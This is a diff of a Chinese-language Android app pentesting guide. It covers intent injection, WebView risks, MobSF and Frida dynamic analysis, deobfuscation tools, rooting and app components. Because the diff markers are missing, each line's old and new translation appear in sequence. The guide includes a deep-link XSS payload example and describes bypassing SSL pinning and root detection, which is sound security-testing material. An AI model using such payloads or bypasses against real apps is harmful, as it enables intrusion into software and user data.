getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
```
### **Android 应用分析器**
此工具可以帮助您在动态分析期间管理不同的工具:[https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
此工具可以帮助您在动态分析过程中管理不同的工具:[https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
### 意图注入
### Intent 注入
开发人员通常创建代理组件,如活动、服务和广播接收器,处理这些意图并将其传递给 `startActivity(...)``sendBroadcast(...)` 等方法,这可能存在风险。
开发人员经常创建代理组件,如活动、服务和广播接收器,这些组件处理这些 Intents 并将其传递给 `startActivity(...)``sendBroadcast(...)` 等方法,这可能存在风险。
危险在于允许攻击者通过错误引导这些意图来触发未导出的应用组件或访问敏感内容提供者。一个显著的例子是 `WebView` 组件通过 `Intent.parseUri(...)` 将 URL 转换为 `Intent` 对象,然后执行它们,这可能导致恶意意图注入。
危险在于允许攻击者通过错误引导这些 Intents 来触发未导出的应用组件或访问敏感内容提供者。一个显著的例子是 `WebView` 组件通过 `Intent.parseUri(...)` 将 URL 转换为 `Intent` 对象,然后执行它们,这可能导致恶意 Intent 注入。
### 重要要点
- **意图注入** 类似于网络的开放重定向问题。
- **Intent 注入** 类似于网络的开放重定向问题。
- 利用涉及将 `Intent` 对象作为额外参数传递,这可能被重定向以执行不安全的操作。
- 它可以将未导出的组件和内容提供者暴露给攻击者。
- `WebView` 的 URL 到 `Intent` 的转换可能会促成意外操作。
- `WebView` 的 URL 到 `Intent` 转换可以促进意外操作。
### Android 客户端侧注入及其他
您可能对这种类型的漏洞有所了解。您必须特别小心 Android 应用中的这些漏洞:
- **SQL 注入:** 在处理动态查询或内容提供者时,确保使用参数化查询。
- **JavaScript 注入 (XSS)** 验证任何 WebViews 的 JavaScript 和插件支持是否已禁用(默认禁用)。 [更多信息在这里](webview-attacks.md#javascript-enabled)。
- **本地文件包含:** WebViews 应禁用对文件系统的访问(默认启用) - `(webview.getSettings().setAllowFileAccess(false);)`。 [更多信息在这里](webview-attacks.md#javascript-enabled)。
- **JavaScript 注入 (XSS)** 验证任何 WebViews 的 JavaScript 和插件支持是否已禁用(默认情况下禁用)。 [更多信息在这里](webview-attacks.md#javascript-enabled)。
- **本地文件包含:** WebViews 应禁用对文件系统的访问(默认情况下启用) - `(webview.getSettings().setAllowFileAccess(false);)`。 [更多信息在这里](webview-attacks.md#javascript-enabled)。
- **持久性 Cookie** 在多个情况下,当 Android 应用结束会话时Cookie 并未被撤销,甚至可能被保存到磁盘。
- [**Cookie 中的安全标志**](../../pentesting-web/hacking-with-cookies/#cookies-flags)
- [**Cookie 中的安全标志**](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
---
@ -523,43 +523,43 @@ docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
注意MobSF 可以分析 **Android**(apk)**、IOS**(ipa) **和 Windows**(apx) 应用程序_Windows 应用程序必须从安装在 Windows 主机上的 MobSF 进行分析_。\
此外,如果您创建一个包含 **Android****IOS** 应用程序源代码的 **ZIP** 文件(转到应用程序的根文件夹,选择所有内容并创建一个 ZIP 文件),它也能够分析它。
MobSF 还允许您进行 **diff/Compare** 分析并集成 **VirusTotal**(您需要在 _MobSF/settings.py_ 中设置您的 API 密钥并启用它:`VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`)。您还可以将 `VT_UPLOAD` 设置为 `False`,这样 **hash** 将被 **upload** 而不是文件。
MobSF 还允许您进行 **diff/比较** 分析,并集成 **VirusTotal**(您需要在 _MobSF/settings.py_ 中设置您的 API 密钥并启用它:`VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`)。您还可以将 `VT_UPLOAD` 设置为 `False`,这样 **hash** 将被 **上传** 而不是文件。
### 使用 MobSF 进行辅助动态分析
**MobSF** 对于 **Android****动态分析** 也非常有帮助,但在这种情况下,您需要在主机上安装 MobSF 和 **genymotion**(虚拟机或 Docker 不会工作。_注意您需要 **先在 genymotion 中启动虚拟机**,然后 **再启动 MobSF。**_\
**MobSF 动态分析器** 可以:
- **Dump 应用程序数据**URLs、日志、剪贴板、您拍摄的屏幕截图、由 "**Exported Activity Tester**" 拍摄的屏幕截图、电子邮件、SQLite 数据库、XML 文件和其他创建的文件)。所有这些都是自动完成的,除了屏幕截图,您需要在想要截图时按下,或者您需要按 "**Exported Activity Tester**" 以获取所有导出活动的屏幕截图。
- **转储应用程序数据**URLs、日志、剪贴板、您拍摄的屏幕截图、由 "**Exported Activity Tester**" 拍摄的屏幕截图、电子邮件、SQLite 数据库、XML 文件和其他创建的文件)。所有这些都是自动完成的,除了屏幕截图,您需要在想要截图时按下,或者您需要按 "**Exported Activity Tester**" 以获取所有导出活动的屏幕截图。
- 捕获 **HTTPS 流量**
- 使用 **Frida** 获取 **运行时** **信息**
从 Android **版本 > 5** 开始,它将 **自动启动 Frida** 并设置全局 **proxy** 设置以 **捕获** 流量。它只会捕获被测试应用程序的流量。
从 Android **版本 > 5** 开始,它将 **自动启动 Frida** 并设置全局 **代理** 设置以 **捕获** 流量。它只会捕获被测试应用程序的流量。
**Frida**
默认情况下,它还将使用一些 Frida 脚本来 **绕过 SSL 钉扎**、**root 检测** 和 **调试器检测**,并 **监控有趣的 API**。\
默认情况下,它还将使用一些 Frida 脚本来 **绕过 SSL 钉扎**、**检测** 和 **调试器检测**,并 **监控有趣的 API**。\
MobSF 还可以 **调用导出活动**,抓取它们的 **屏幕截图****保存** 到报告中。
**开始** 动态测试,请按绿色按钮:“**Start Instrumentation**”。按下“**Frida Live Logs**”以查看 Frida 脚本生成的日志,按下“**Live API Monitor**”以查看所有调用的挂钩方法、传递的参数和返回值这将在按下“Start Instrumentation”后出现)。\
MobSF 还允许您加载自己的 **Frida 脚本**(要将您的 Frida 脚本的结果发送到 MobSF请使用函数 `send()`)。它还具有 **多个预编写的脚本**,您可以加载(您可以在 `MobSF/DynamicAnalyzer/tools/frida_scripts/others/` 中添加更多),只需 **选择它们**,按“**Load**”并按“**Start Instrumentation**”(您将能够在“**Frida Live Logs**”中看到该脚本的日志)。
**开始** 动态测试,请按绿色按钮:“**开始仪器化**”。按下“**Frida 实时日志**”以查看 Frida 脚本生成的日志,按下“**实时 API 监视器**”以查看所有调用的挂钩方法、传递的参数和返回值(在按下“开始仪器化”后会出现)。\
MobSF 还允许您加载自己的 **Frida 脚本**(要将您的 Frida 脚本的结果发送到 MobSF请使用 `send()` 函数)。它还具有 **多个预编写的脚本**,您可以加载(您可以在 `MobSF/DynamicAnalyzer/tools/frida_scripts/others/` 中添加更多),只需 **选择它们**,按“**加载**”并按“**开始仪器化**”(您将能够在“**Frida 实时日志**”中看到该脚本的日志)。
![](<../../images/image (419).png>)
此外,您还有一些辅助 Frida 功能:
- **列出已加载的类**:它将打印所有已加载的类
- **枚举已加载的类**:它将打印所有已加载的类
- **捕获字符串**:它将打印在使用应用程序时捕获的所有字符串(非常嘈杂)
- **捕获字符串比较**:可能非常有用。它将 **显示正在比较的 2 个字符串** 以及结果是 True 还是 False。
- **列出类方法**:输入类名(如 "java.io.File"),它将打印该类的所有方法。
- **捕获字符串比较**:可能非常有用。它将 **显示正在比较的个字符串** 以及结果是 True 还是 False。
- **枚举类方法**:输入类名(如 "java.io.File"),它将打印该类的所有方法。
- **搜索类模式**:按模式搜索类
- **跟踪类方法****跟踪** 一个 **整个类**(查看该类所有方法的输入和输出)。请记住,默认情况下 MobSF 跟踪几个有趣的 Android API 方法。
一旦您选择了要使用的辅助模块,您需要按“**Start Intrumentation**”,您将看到所有输出在“**Frida Live Logs**”中。
一旦您选择了要使用的辅助模块,您需要按“**开始仪器化**”,您将看到所有输出在“**Frida 实时日志**”中。
**Shell**
Mobsf 还为您提供一个带有一些 **adb** 命令、**MobSF 命令** 和常见 **shell** **命令** 的 shell位于动态分析页面的底部。一些有趣的命令
Mobsf 还为您提供一个带有一些 **adb** 命令、**MobSF 命令** 和常见 **shell** **命令** 的 shell位于动态分析页面的底部。一些有趣的命令
```bash
help
shell ls
@ -570,8 +570,8 @@ receivers
```
**HTTP工具**
捕获http流量时您可以在“**HTTP(S) Traffic**”底部看到捕获流量的丑陋视图,或在“**Start HTTPTools**”绿色按钮中看到更好的视图。从第二个选项中,您可以**发送** **捕获的请求**到像Burp或Owasp ZAP这样的**代理**。\
为此_打开Burp -->_ _关闭拦截 --> 在MobSB HTTPTools中选择请求_ --> 按“**Send to Fuzzer**” --> _选择代理地址_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080))。
当http流量被捕获时,您可以在“**HTTP(S) Traffic**”底部看到捕获流量的丑陋视图,或在“**Start HTTPTools**”绿色按钮中看到更好的视图。从第二个选项中,您可以**发送**捕获的**请求**到像Burp或Owasp ZAP这样的**代理**。\
要做到这一点_打开Burp -->_ _关闭拦截 --> 在MobSB HTTPTools中选择请求_ --> 按“**Send to Fuzzer**” --> _选择代理地址_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080))。
完成MobSF的动态分析后您可以按“**Start Web API Fuzzer**”来**模糊http请求**并寻找漏洞。
@ -589,7 +589,7 @@ receivers
### [Yaazhini](https://www.vegabird.com/yaazhini/)
这是一个**用于执行带GUI的静态分析的好工具**
这是一个**用于执行静态分析的优秀工具带有GUI**
![](<../../images/image (741).png>)
@ -615,9 +615,9 @@ reverse-apk relative/path/to/APP.apk
```
### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
SUPER 是一个可以在 Windows、MacOS X 和 Linux 中使用的命令行应用程序,分析 _.apk_ 文件以寻找漏洞。它通过解压 APK 并应用一系列规则来检测这些漏洞。
SUPER 是一个可以在 Windows、MacOS X 和 Linux 上使用的命令行应用程序,旨在分析 _.apk_ 文件以寻找漏洞。它通过解压 APK 并应用一系列规则来检测这些漏洞。
所有规则都集中在一个 `rules.json` 文件中,每个公司或测试人员都可以创建自己的规则来分析他们需的内容。
所有规则都集中在一个 `rules.json` 文件中,每个公司或测试人员都可以创建自己的规则来分析他们需的内容。
从 [download page](https://superanalyzer.rocks/download.html) 下载最新的二进制文件。
```
@ -678,7 +678,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
来自 [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** 是一个开源命令行工具,用于缩小、优化和混淆 Java 代码。它能够优化字节码并检测和删除未使用的指令。ProGuard 是免费软件,按照 GNU 通用公共许可证第 2 版分发。
来自 [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** 是一个开源命令行工具,用于缩小、优化和混淆 Java 代码。它能够优化字节码并检测和删除未使用的指令。ProGuard 是自由软件,按照 GNU 通用公共许可证第 2 版分发。
ProGuard 作为 Android SDK 的一部分分发,并在以发布模式构建应用程序时运行。
@ -689,9 +689,9 @@ ProGuard 作为 Android SDK 的一部分分发,并在以发布模式构建应
来自该指南上次我们检查时Dexguard 的操作模式是:
- 将资源加载为 InputStream
- 将结果提供给继承自 FilterInputStream 的类以进行解密;
- 将结果传递给继承自 FilterInputStream 的类以进行解密;
- 进行一些无用的混淆,以浪费反向工程师几分钟的时间;
- 将解密的结果提供给 ZipInputStream 以获取 DEX 文件;
- 将解密后的结果传递给 ZipInputStream 以获取 DEX 文件;
- 最后使用 `loadDex` 方法将结果 DEX 作为资源加载。
### [DeGuard](http://apk-deguard.com)
@ -702,15 +702,15 @@ ProGuard 作为 Android SDK 的一部分分发,并在以发布模式构建应
### [Deobfuscate android App](https://github.com/In3tinct/deobfuscate-android-app)
这是一个 LLM 工具,用于查找 Android 应用程序中的潜在安全漏洞并去混淆 Android 应用程序代码。使用 Google 的 Gemini 公共 API。
这是一个 LLM 工具,用于查找 Android 应用中的潜在安全漏洞并去混淆 Android 应用代码。使用 Google 的 Gemini 公共 API。
### [Simplify](https://github.com/CalebFenton/simplify)
它是一个 **通用的 Android 去混淆器。** Simplify **虚拟执行应用程序** 以理解其行为,然后 **尝试优化代码** 使其表现相同,但更易于人类理解。每种优化类型都是简单和通用的,因此无论使用何种特定类型的混淆都无关紧要。
它是一个 **通用的 Android 去混淆器。** Simplify **虚拟执行应用程序** 以理解其行为,然后 **尝试优化代码** 使其行为相同,但更易于人类理解。每种优化类型都是简单和通用的,因此无论使用何种特定类型的混淆都无关紧要。
### [APKiD](https://github.com/rednaga/APKiD)
APKiD 为您提供有关 **APK 是如何制作的** 信息。它识别许多 **编译器**、**打包**、**混淆器** 和其他奇怪的东西。它是 Android 的 [_PEiD_](https://www.aldeid.com/wiki/PEiD)。
APKiD 为您提供有关 **APK 是如何制作的** 信息。它识别许多 **编译器**、**打包工具**、**混淆器** 和其他奇怪的东西。它是 Android 的 [_PEiD_](https://www.aldeid.com/wiki/PEiD)。
### 手动
@ -722,7 +722,7 @@ APKiD 为您提供有关 **APK 是如何制作的** 信息。它识别许多 **
AndroL4b 是一个基于 ubuntu-mate 的 Android 安全虚拟机,包含来自不同安全极客和研究人员的最新框架、教程和实验室,用于逆向工程和恶意软件分析。
## 参考资料
## 参考
- [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/)
- [https://appsecwiki.com/#/](https://appsecwiki.com/#/) 这是一个很好的资源列表

View File

@ -6,7 +6,7 @@
**有两个层次:**
- **操作系统**,它使已安装的应用程序相互隔离。
- **操作系统**,它使已安装的应用程序彼此隔离。
- **应用程序本身**,允许开发人员**暴露某些功能**并配置应用程序能力。
### UID Separation
@ -20,13 +20,13 @@
### Sandboxing
**Android应用程序沙箱**允许**每个应用程序**作为**在单独用户ID下的单独进程**运行。每个进程都有自己的虚拟机,因此应用程序的代码与其他应用程序隔离运行。\
**Android应用程序沙箱**允许**每个应用程序**作为**在单独用户ID下的单独进程**运行。每个进程都有自己的虚拟机,因此应用程序的代码与其他应用程序隔离的情况下运行。\
从Android 5.0(L)开始,**SELinux**被强制执行。基本上SELinux拒绝所有进程交互然后创建策略以**仅允许它们之间的预期交互**。
### Permissions
当你安装一个**应用程序并请求权限**时,该应用程序是在请求**AndroidManifest.xml**文件中配置的**`uses-permission`**元素中的权限。**uses-permission**元素在**name**属性中指示请求的权限名称。它还有**maxSdkVersion**属性,该属性在版本高于指定版本时停止请求权限。\
请注意Android应用程序不需要在开始时请求所有权限它们也可以**动态请求权限**,但所有权限必须在**清单中声明**。
请注意Android应用程序不需要在开始时请求所有权限它们也可以**动态请求权限**,但所有权限必须在**清单****声明**。
当应用程序暴露功能时,它可以限制**仅允许具有指定权限的应用程序访问**。\
权限元素有三个属性:
@ -34,14 +34,14 @@
- 权限的**名称**
- **permission-group**属性,允许对相关权限进行分组。
- **protection-level**,指示权限的授予方式。共有四种类型:
- **Normal**在没有**已知威胁**的情况下使用。用户**不需要批准**。
- **Dangerous**:指示权限授予请求应用程序某些**提升的访问权限**。**请求用户批准**。
- **Normal**用于**没有已知威胁**的应用程序。用户**不需要批准**。
- **Dangerous**:指示权限授予请求应用程序某些**提升的访问权限**。**用户被要求批准**。
- **Signature**:只有**由与导出组件相同证书签名的应用程序**才能获得权限。这是最强的保护类型。
- **SignatureOrSystem**:只有**由与导出组件相同证书签名的应用程序**或**以系统级访问权限运行的应用程序**才能获得权限。
## Pre-Installed Applications
这些应用程序通常位于**`/system/app`**或**`/system/priv-app`**目录中,其中一些是**优化过的**(你可能甚至找不到`classes.dex`文件)。这些应用程序值得检查,因为有时它们**运行的权限过多**作为root
这些应用程序通常位于**`/system/app`**或**`/system/priv-app`**目录中,其中一些是**优化过的**(你可能甚至找不到 `classes.dex` 文件)。这些应用程序值得检查,因为有时它们**运行的权限过多**作为root
- 随**AOSP**Android开源项目**ROM**一起提供的应用程序
- 由设备**制造商**添加的
@ -49,8 +49,8 @@
## Rooting
为了获得物理Android设备的root访问权限通常需要**利用**1或2个**漏洞**,这些漏洞通常是**特定**于**设备**和**版本**的。\
一旦利用成功通常会将Linux `su`二进制文件复制到用户PATH环境变量中指定的位置`/system/xbin`
为了获得物理Android设备的root访问权限通常需要**利用**1或2个**漏洞**,这些漏洞通常是**特定**于**设备**和**版本**的。\
一旦漏洞成功通常会将Linux `su` 二进制文件复制到用户的PATH环境变量中指定的位置`/system/xbin`
一旦配置了su二进制文件另一个Android应用程序将用于与`su`二进制文件接口并**处理root访问请求**,如**Superuser**和**SuperSU**在Google Play商店中可用
@ -59,18 +59,18 @@
### ROMs
可以通过**安装自定义固件来替换操作系统**。这样可以扩展旧设备的使用价值,绕过软件限制或访问最新的Android代码。\
可以通过**安装自定义固件来替换操作系统**。这样可以扩展旧设备的使用价值,绕过软件限制或获得最新的Android代码。\
**OmniROM**和**LineageOS**是两个最流行的固件。
请注意,**并不总是需要root设备**才能安装自定义固件。**一些制造商允许**以良好文档和安全的方式解锁其引导加载程序。
### Implications
一旦设备被root任何应用程序都可以请求root访问。如果恶意应用程序获得了它几乎可以访问所有内容,并能够损坏手机。
一旦设备被root任何应用程序都可以请求root访问。如果恶意应用程序获得了它它几乎可以访问所有内容并能够损坏手机。
## Android Application Fundamentals <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
- Android应用程序的格式被称为_ APK文件格式_。它本质上是一个**ZIP文件**(通过将文件扩展名重命名为.zip可以提取和查看内容
- Android应用程序的格式被称为 _APK文件格式_。它本质上是一个**ZIP文件**(通过将文件扩展名重命名为.zip可以提取和查看内容
- APK内容不详尽
- **AndroidManifest.xml**
- resources.arsc/strings.xml
@ -83,7 +83,7 @@
- lib/
- 存放本地库按CPU架构在子目录中分隔。
- `armeabi`ARM架构处理器的代码
- `armeabi-v7a`ARMv7及更高版本处理器的代码
- `armeabi-v7a`ARMv7及更高架构处理器的代码
- `x86`X86处理器的代码
- `mips`仅用于MIPS处理器的代码
- assets/
@ -99,7 +99,7 @@
## Intents
Intents是Android应用程序在其组件之间或与其他应用程序之间通信的主要方式。这些消息对象还可以在应用程序或组件之间携带数据类似于HTTP通信中使用的GET/POST请求。
Intents是Android应用程序在其组件之间或与其他应用程序之间通信的主要方式。这些消息对象还可以在应用程序或组件之间携带数据类似于HTTP通信中的GET/POST请求。
因此Intent基本上是**在组件之间传递的消息**。Intents**可以定向**到特定组件或应用程序,**也可以在没有特定接收者的情况下发送**。\
简单来说Intent可以用于
@ -114,13 +114,13 @@ Intents是Android应用程序在其组件之间或与其他应用程序之间通
### Intent-Filter
**Intent过滤器**定义**活动、服务或广播接收器如何与不同类型的Intents交互**。本质上,它们描述了这些组件的能力,例如它们可以执行的操作或可以处理的广播类型。声明这些过滤器的主要位置是在**AndroidManifest.xml文件**中,尽管对于广播接收器,编码它们也是一个选项。
**Intent Filters**定义**活动、服务或广播接收器如何与不同类型的Intents交互**。本质上,它们描述了这些组件的能力,例如它们可以执行的操作或可以处理的广播类型。声明这些过滤器的主要位置是在**AndroidManifest.xml文件**中,尽管对于广播接收器,编码它们也是一个选项。
Intent过滤器由类别、操作和数据过滤器组成并可以包含附加元数据。此设置允许组件处理与声明的标准匹配的特定Intents。
Intent Filters由类别、操作和数据过滤器组成并可以包含附加元数据。此设置允许组件处理与声明的标准匹配的特定Intents。
Android组件活动/服务/内容提供者/广播接收器)的一个关键方面是它们的可见性或**公共状态**。如果组件的**`exported`**值为**`true`**,则该组件被视为公共的,可以与其他应用程序交互如果在清单中为其声明了Intent过滤器则也是如此。然而,开发人员可以通过将**`exported`**属性设置为**`false`**来显式保持这些组件私有,确保它们不会与其他应用程序意外交互
Android组件活动/服务/内容提供者/广播接收器)的一个关键方面是它们的可见性或**公共状态**。如果组件的**`exported`**值为**`true`**或者在清单中声明了Intent Filter则该组件被视为公共的,可以与其他应用程序交互。然而,开发人员可以明确将这些组件保持私有,以确保它们不会与其他应用程序意外交互。这是通过在其清单定义中将**`exported`**属性设置为**`false`**来实现的
此外,开发人员还有选择进一步保护对这些组件的访问的选项,要求特定权限。**`permission`**属性可以设置为强制要求只有具有指定权限的应用程序才能访问该组件,从而为谁可以与其交互增加了一层额外的安全性和控制。
此外,开发人员还有选择进一步保护对这些组件的访问的选项,要求特定权限。**`permission`**属性可以设置为强制要求只有具有指定权限的应用程序才能访问该组件,从而增加了安全性和对谁可以与其交互的控制。
```java
<activity android:name=".MyActivity" android:exported="false">
<!-- Intent filters go here -->
@ -132,7 +132,7 @@ Android组件活动/服务/内容提供者/广播接收器)的一个关键
```java
Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
```
该**意图**的**动作**是**ACTION_SEND****额外**是一个mailto **Uri**(额外是意图所期望的额外信息)。
该**Action**为先前声明的意图的**ACTION_SEND****Extra**是一个mailto **Uri**Extra是意图所期望的额外信息)。
此意图应在清单中声明,如以下示例所示:
```xml
@ -145,11 +145,11 @@ Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
```
一个 intent-filter 需要匹配 **action**、**data** 和 **category** 才能接收消息。
“Intent 解析”过程决定哪个应用程序应该接收每个消息。该过程考虑 **priority attribute**,可以在 **intent-filter 声明**中设置,**优先级更高的将被选择**优先级可以设置在 -1000 到 1000 之间,应用程序可以使用 `SYSTEM_HIGH_PRIORITY` 值。如果出现 **冲突**,将出现一个“选择器”窗口,以便 **用户可以决定**
“Intent 解析”过程决定哪个应用程序应该接收每个消息。该过程考虑 **priority attribute**,可以在 **intent-filter 声明**中设置,**优先级更高的将被选择**这个优先级可以设置在 -1000 到 1000 之间,应用程序可以使用 `SYSTEM_HIGH_PRIORITY` 值。如果出现 **冲突**,将出现一个“选择器”窗口,以便 **用户可以决定**
### 显式 Intent
显式 intent 指定它所针对的类名:
显式 Intent 指定了它所针对的类名:
```java
Intent downloadIntent = new (this, DownloadService.class):
```
@ -161,18 +161,18 @@ context.startService(intent);
```
### Pending Intents
这些允许其他应用程序**代表您的应用程序采取行动**,使用您的应用程序的身份和权限。构造 Pending Intent 时,应该**指定一个意图和要执行的操作**。如果**声明的意图不是显式的**(没有声明哪个意图可以调用它),则**恶意应用程序可能会代表受害者应用程序执行声明的操作**。此外,**如果指定操作**,恶意应用程序将能够**代表受害者执行任何操作**。
这些允许其他应用程序**代表您的应用程序采取行动**,使用您的应用程序的身份和权限。构造 Pending Intent 时,应该**指定一个意图和要执行的操作**。如果**声明的意图不是显式的**(没有声明哪个意图可以调用它),则**恶意应用程序可能会代表受害者应用程序执行声明的操作**。此外,**如果没有指定操作**,恶意应用程序将能够**代表受害者执行任何操作**。
### Broadcast Intents
与之前的意图不同,后者仅由一个应用程序接收,广播意图**可以被多个应用程序接收**。然而,从 API 版本 14 开始,可以**指定应该接收**消息的应用程序,使用 Intent.setPackage。
与之前的意图不同,后者仅由一个应用程序接收,广播意图**可以被多个应用程序接收**。然而,从 API 版本 14 开始,可以**使用 Intent.setPackage 指定应该接收**消息的应用程序
另外,在发送广播时也可以**指定权限**。接收应用程序需要具有该权限。
有**两种类型**的广播**普通**(异步)和**有序**(同步)。**顺序**基于**接收器**元素中的**配置优先级**。**每个应用程序可以处理、转发或丢弃广播。**
广播有**两种类型****普通**(异步)和**有序**(同步)。**顺序**基于**接收器**元素中的**配置优先级**。**每个应用程序可以处理、转发或丢弃广播。**
可以使用 `Context` 类中的函数 `sendBroadcast(intent, receiverPermission)` 来**发送**一个**广播**。\
您还可以使用**`LocalBroadCastManager`**中的**`sendBroadcast`**函数,确保**消息永远不会离开应用程序**。使用此方法,您甚至不需要导出接收器组件。
您还可以使用**`LocalBroadCastManager`**中的函数**`sendBroadcast`**,确保**消息永远不会离开应用程序**。使用此方法,您甚至不需要导出接收器组件。
### Sticky Broadcasts
@ -206,14 +206,14 @@ context.startService(intent);
android:host="example"
/>
```
要从网页访问,可以设置一个链接,如:
要从网页访问,可以设置一个链接,如:
```xml
<a href="examplescheme://example/something">click here</a>
<a href="examplescheme://example/javascript://%250dalert(1)">click here</a>
```
为了找到**将在应用中执行的代码**,请转到由深度链接调用的活动,并搜索函数**`onNewIntent`**。
了解如何[在不使用HTML页面的情况下调用深度链接](./#exploiting-schemes-deep-links)。
了解如何[在不使用HTML页面的情况下调用深度链接](#exploiting-schemes-deep-links)。
## AIDL - Android接口定义语言
@ -223,7 +223,7 @@ android:host="example"
- **绑定服务**这些服务利用AIDL进行IPC使活动或组件能够绑定到服务发出请求并接收响应。服务类中的`onBind`方法对于启动交互至关重要,标志着它是安全审查中寻找漏洞的重要领域。
- **Messenger**作为绑定服务Messenger促进IPC重点处理通过`onBind`方法的数据。必须仔细检查此方法,以查找任何不安全的数据处理或敏感功能的执行。
- **Messenger**作为绑定服务Messenger促进IPC重点处理通过`onBind`方法的数据。必须仔细检查此方法,以发现任何不安全的数据处理或敏感功能的执行。
- **Binder**尽管由于AIDL的抽象Binder类的直接使用较少但了解Binder作为内核级驱动程序在不同进程的内存空间之间促进数据传输是有益的。有关进一步理解的资源可在[https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8)找到。
@ -233,7 +233,7 @@ android:host="example"
### 启动活动和其他活动
在Android应用中**活动**就像屏幕,显示应用用户界面的不同部分。一个应用可以有多活动,每个活动向用户呈现一个独特的屏幕。
在Android应用中**活动**就像屏幕,显示应用用户界面的不同部分。一个应用可以有多活动,每个活动向用户呈现一个独特的屏幕。
**启动活动**是应用的主要入口当您点击应用图标时启动。它在应用的清单文件中定义具有特定的MAIN和LAUNCHER意图
```markup
@ -272,19 +272,19 @@ super.onCreate();
}
}
```
### 服务
### Services
[Services](https://developer.android.com/guide/components/services) 是 **后台操作**,能够在没有用户界面的情况下执行任务。这些任务即使在用户切换到不同应用程序时也可以继续运行,使得服务对于 **长时间运行的操作** 至关重要。
服务是多功能的;它们可以通过多种方式启动,其中 **Intents** 是作为应用程序入口点启动它们的主要方法。一旦使用 `startService` 方法启动服务,其 `onStart` 方法就会启动并持续运行,直到显式调用 `stopService` 方法。或者,如果服务的角色依赖于活动的客户端连接,则使用 `bindService` 方法将客户端绑定到服务,激活 `onBind` 方法进行数据传递。
服务是多功能的;它们可以通过多种方式启动,其中 **Intents** 是作为应用程序入口点启动它们的主要方法。一旦使用 `startService` 方法启动服务,其 `onStart` 方法就会启动并持续运行,直到显式调用 `stopService` 方法。或者,如果服务的角色依赖于活动的客户端连接,则使用 `bindService` 方法将客户端绑定到服务,激活 `onBind` 方法进行数据传递。
服务的一个有趣应用包括后台音乐播放或网络数据获取,而不妨碍用户与应用的交互。此外,服务可以通过 **导出** 使其他进程在同一设备上可访问。这不是默认行为,需要在 Android Manifest 文件中进行显式配置:
服务的一个有趣应用包括后台音乐播放或网络数据获取,而不妨碍用户与应用的交互。此外,服务可以通过 **导出** 使其他进程在同一设备上可访问。这不是默认行为,需要在 Android Manifest 文件中进行显式配置:
```xml
<service android:name=".ExampleExportedService" android:exported="true"/>
```
### 广播接收器
**广播接收器**充当消息系统中的监听器,允许多个应用程序响应来自系统的相同消息。应用程序可以通过应用的**Manifest**或通过应用代码中的**`registerReceiver`** API以**两种主要方式**注册接收器。在Manifest中广播通过权限进行过滤而动态注册的接收器在注册时也可以指定权限。
**广播接收器**充当消息系统中的监听器,允许多个应用程序响应来自系统的相同消息。应用程序可以通过应用的**Manifest**或在应用代码中通过**`registerReceiver`** API以**两种主要方式**注册接收器。在Manifest中广播通过权限进行过滤而动态注册的接收器在注册时也可以指定权限。
**意图过滤器**在这两种注册方法中至关重要,决定哪些广播触发接收器。一旦发送匹配的广播,接收器的**`onReceive`**方法将被调用,使应用能够相应地反应,例如在接收到低电量警报时调整行为。
@ -294,13 +294,13 @@ super.onCreate();
### 内容提供者
**内容提供者**对于**在应用之间共享结构化数据**至关重要,强调实施**权限**以确保数据安全的重要性。它们允许应用访问来自各种来源的数据,包括数据库、文件系统或网络。特定权限,如**`readPermission`**和**`writePermission`**,对于控制访问至关重要。此外,可以通过应用的manifest中的**`grantUriPermission`**设置授予临时访问,利用`path``pathPrefix``pathPattern`等属性进行详细的访问控制。
**内容提供者**对于应用之间**共享结构化数据**至关重要,强调实施**权限**以确保数据安全的重要性。它们允许应用访问来自各种来源的数据,包括数据库、文件系统或网络。特定权限,如**`readPermission`**和**`writePermission`**,对于控制访问至关重要。此外,可以通过应用的Manifest中的**`grantUriPermission`**设置授予临时访问,利用`path``pathPrefix``pathPattern`等属性进行详细的访问控制。
输入验证至关重要以防止漏洞例如SQL注入。内容提供者支持基本操作`insert()``update()``delete()``query()`,促进应用之间的数据操作和共享。
**FileProvider**,一种专门的内容提供者,专注于安全地共享文件。它在应用的manifest中定义具有特定属性以控制对文件夹的访问`android:exported``android:resource`指向文件夹配置。共享目录时需谨慎,以避免意外暴露敏感数据。
**FileProvider**,一种专门的内容提供者,专注于安全地共享文件。它在应用的Manifest中定义具有特定属性以控制对文件夹的访问`android:exported``android:resource`指向文件夹配置。共享目录时需谨慎,以避免意外暴露敏感数据。
FileProvider的示例manifest声明
FileProvider的示例Manifest声明
```xml
<provider android:name="androidx.core.content.FileProvider"
android:authorities="com.example.myapp.fileprovider"
@ -327,12 +327,12 @@ WebViews 就像是 Android 应用中的 **迷你网页浏览器**,从网络或
Android 提供了两种主要的 WebView 类型:
- **WebViewClient** 适合基本的 HTML但不支持 JavaScript 警功能,这影响了 XSS 攻击的测试方式。
- **WebViewClient** 适合基本的 HTML但不支持 JavaScript 警功能,这影响了 XSS 攻击的测试方式。
- **WebChromeClient** 更像是完整的 Chrome 浏览器体验。
一个关键点是 WebView 浏览器 **不与设备的主浏览器共享 cookies**
